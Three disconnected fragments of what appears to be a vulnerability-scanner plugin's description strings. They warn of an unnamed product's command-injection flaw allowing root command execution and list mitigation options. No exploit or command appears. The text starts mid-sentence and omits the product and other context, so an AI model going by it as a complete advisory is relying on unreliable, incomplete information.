  arbitrary command-injection vulnerability because it fails to sufficiently sanitize user-supplied
  data.");

  and execute arbitrary-commands with root privilege within the context of the vulnerable system.
  Successful exploits will result in the complete compromise of affected system.");

  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");
